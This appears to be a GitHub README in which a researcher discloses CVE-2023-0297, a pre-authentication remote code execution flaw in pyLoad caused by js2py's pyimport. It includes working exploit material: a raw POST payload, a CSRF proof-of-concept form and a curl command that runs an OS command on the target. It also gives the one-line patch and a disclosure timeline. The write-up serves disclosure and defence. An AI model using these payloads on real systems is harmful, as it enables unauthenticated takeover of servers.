Skip to content

bAuh0lz/CVE-2023-0297_Pre-auth_RCE_in_pyLoad

main
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Code

Files

Permalink
Failed to load latest commit information.
Type
Name
Latest commit message
Commit time
Jan 14, 2023

CVE-2023-0297: Pre-auth RCE in pyLoad

The Story of Finding Pre-auth RCE in pyLoad

TL;DR

A code injection vulnerability in pyLoad versions prior to 0.5.0b3.dev31 leads to pre-auth RCE by abusing js2py's functionality.

You can find the report here and exploit code here.

Details

pyLoad is an OSS download manager written in Python and manageable via web interface. Its GitHub repository has approx. 2.8k stars as of Jan 9th 2023.

While I was auditing pyLoad's source code, the following code caught my eyes:

cnl_blueprint.py#L124

    jk = eval_js(f"{jk} f()")

The definition of eval_js function is as follows:

misc.py#L25-L27

def eval_js(script, es6=False):
    # return requests_html.HTML().render(script=script, reload=False)
    return (js2py.eval_js6 if es6 else js2py.eval_js)(script)

eval_js(f"{jk} f()") uses js2py's functionality which runs JavaScript code f"{jk} f()" where jk parameter is passed by a request parameter:

cnl_blueprint.py#L120

    jk = flask.request.form["jk"]

Therefore you can run arbitrary JavaScript code by requesting the endpoint.

However, how can you abuse it? Since in the js2py.eval_js() context neither XMLHttpRequest, fetch nor require (like node.js) are not defined so SSRF or reading local files are not a thing.

After spending some time, I found a fancy js2py's functionality:

pyimport statement

Finally, Js2Py also supports importing any Python code from JavaScript using 'pyimport' statement:

>>> x = """pyimport urllib;
           var result = urllib.urlopen('https://www.google.com/').read();
           console.log(result.length)
        """
>>> js2py.eval_js(x)
18211
undefined

By using this functionality, you can use Python libraries in js2py.eval_js() context! Surprisingly pyimport is enabled by default. :o

I tried simple code that runs OS command by using pyimport:

$ ls /tmp/pwnd
ls: /tmp/pwnd: No such file or directory

$ python -c 'import js2py; js2py.eval_js("pyimport os; os.system(\"touch /tmp/pwnd\")")'

$ ls /tmp/pwnd
/tmp/pwnd

As expected, touch /tmp/pwnd was executed!

By sending the following request, the same thing would happen in the target host:

POST /flash/addcrypted2 HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded

jk=pyimport%20os;os.system("touch%20/tmp/pwnd");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa

;f=function%20f2(){}; part in jk parameter is necessary as this endpoint runs eval_js(f"{jk} f()"). If not present, injected code won't get executed due to name 'f' is not defined error.

Note that a cookie and CSRF token are not present in the request. It means that:

  • An unauthenticated attacker who can access the target host is capable of RCE.
  • Even though an attacker cannot access the target host, they can trick a victim who can access the target host to do RCE by a CSRF attack:
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://<target>/flash/addcrypted2" method="POST">
      <input type="hidden" name="package" value="xxx" />
      <input type="hidden" name="crypted" value="AAAA" />
      <input type="hidden" name="jk" value="pyimport&#32;os&#59;os&#46;system&#40;&quot;touch&#32;&#47;tmp&#47;pwnd&quot;&#41;&#59;f&#61;function&#32;f2&#40;&#41;&#123;&#125;&#59;" />
      <input type="hidden" name="passwords" value="aaaa" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Exploit Code

curl -i -s -k -X $'POST' \
    --data-binary $'jk=pyimport%20os;os.system(\"touch%20/tmp/pwnd\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \
    $'http://<target>/flash/addcrypted2'

Patch

Just disable pyimport functionality.

misc.py

 import js2py
 
+js2py.disable_pyimport()

Timeline

  • 2023-01-02: Reported to huntr.dev
  • 2023-01-04: Vulnerability verified
  • 2023-01-04: Vulnerability fixed and report published
  • 2023-01-14: CVE ID assigned

Thanks to hunr.dev team and a pyLoad maintainer for quick responses!

About

CVE-2023-0297: The Story of Finding Pre-auth RCE in pyLoad

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published